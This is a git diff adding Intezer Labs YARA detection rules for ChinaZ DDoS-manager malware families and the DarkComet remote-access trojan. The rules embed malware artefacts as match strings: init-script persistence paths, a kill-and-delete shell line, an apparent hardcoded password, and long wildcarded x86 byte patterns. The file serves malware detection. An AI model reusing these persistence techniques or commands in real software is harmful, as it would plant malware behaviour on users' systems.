--- /dev/null
+++ b/yara-mikesxrs/Intezer/ChinaZ_Managers.yar
@@ -0,0 +1,60 @@
+private rule NewManager {
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = {8B ?? 04 3? 03 00 00 11 74 4D 3? 11 00 00 11 74 61 3? 02 00 00 11 } 
+        $b0 = "_ConnectServer"
+        $b1 = "/root/1/ampS.log"
+        $b2 = "/etc/rc%d.d/S%d%s"
+        $b3 = "Get SYstem Info"
+        $b4 = "newmanager"
+        $b5 = "NO DDXC"
+
+	condition:
+		all of them
+}
+
+private rule AmpManager {
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = {C7 85 ?? F8 FF FF ?? 00 00 11 C7 85 ?? F8 FF FF 00 00 00 00 C7 85 ?? F8 FF FF ?? 00 00 00} 
+        $b0 = "ampserver/main.cpp"
+        $b1 = "M-SEARCH * HTTP/1.1"
+        $b2 = "rm -f /usr/bin/ammint | killall ammint 2>/dev/null &"
+        $b3 = "ln -s /etc/init.d/%s %s"
+        $b4 = "camplz123"
+
+	condition:
+		all of them
+}
+
+private rule DDoSManager { 
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = { 55 89 e5 5? 8b ?? 0c 8B ?? 08 85 ?? 7E 16 31 ?? 0F B6 ?? ?? 83 F? 19 83 C? 7A 88 ?? ?? 83 C? 01} 
+        $b0 = "5CFake"
+        $b1 = "/tmp/Cfg.9"
+        $b2 = "0|%s|%s|1|65535|"
+        $b3 = "8CManager"
+        $b4 = "SingTool"
+
+	condition:
+		all of them
+}
+
+rule ChinaZ_Managers {
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	condition:
+        NewManager or AmpManager or DDoSManager
+}
diff --git a/yara-mikesxrs/Intezer/DarkComet.yar b/yara-mikesxrs/Intezer/DarkComet.yar
new file mode 100644
index 0000000..becfb32
--- /dev/null
+++ b/yara-mikesxrs/Intezer/DarkComet.yar
@@ -0,0 +1,262 @@
+rule Intezer_Vaccine_DarkComet
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2019-10-30"
+		sha256 = "bb859bb62ab6ddfd2809d3bf0226947c43da6f537f63c9500acf7dbe37ab0ac4"
+	strings:
+		$4692249_706 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B7 ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? }
+		$4722915_416 = { 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B 8D ?? ?? 5? 8D ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B 8D ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 }
+		$4678337_397 = { 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B7 ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 3? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 }
+		$4663772_304 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 88 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 64 ?? ?? EB }
+		$4756883_228 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 89 ?? ?? 6A ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 6A ?? 6A ?? 6A ?? 6A ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 1B ?? 4? 3C ?? 0F 85 }
+		$4665138_204 = { 5? 8B ?? 8D ?? ?? A5 A5 A5 A5 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? FF 3? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? FF 3? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? FF 3? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 4? 75 }
+		$4760838_203 = { 8D ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? 8B ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B1 ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? FF 3? 8D ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? FF 4? ?? 0F 85 }
+		$4682239_201 = { 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? A1 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? A1 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4705279_194 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4737116_190 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4774650_189 = { 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? E8 }
+		$4610819_181 = { 6A ?? 6A ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? C6 ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 33 ?? 5? 5? 8B ?? ?? 99 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 8B ?? 8B ?? ?? 89 ?? 8B ?? 89 ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 33 ?? 5? 5? 8B ?? ?? ?? ?? ?? 33 ?? 29 ?? ?? 19 ?? ?? ?? 5? 5? 85 ?? 74 }
+		$4782231_180 = { 5? 5? 5? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C6 ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? BA ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4647624_172 = { 5? 87 ?? ?? 5? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4598722_168 = { 8B ?? 8B ?? 8B ?? 33 ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 33 ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? 8B ?? 84 ?? 74 }
+		$4678099_166 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$4605036_160 = { 89 ?? ?? DB ?? ?? DB ?? ?? ?? ?? ?? DE ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? DB ?? ?? DB ?? ?? ?? ?? ?? DE ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? DB ?? ?? DB ?? ?? ?? ?? ?? DE ?? DB ?? ?? ?? ?? ?? DE ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? DB ?? ?? DB ?? ?? ?? ?? ?? DE ?? DB ?? ?? ?? ?? ?? DE ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? DB ?? ?? DB ?? ?? ?? ?? ?? DE ?? DB ?? ?? ?? ?? ?? DE ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 4? 81 F? ?? ?? ?? ?? 0F 85 }
+		$4776044_160 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 85 ?? 0F 8C }
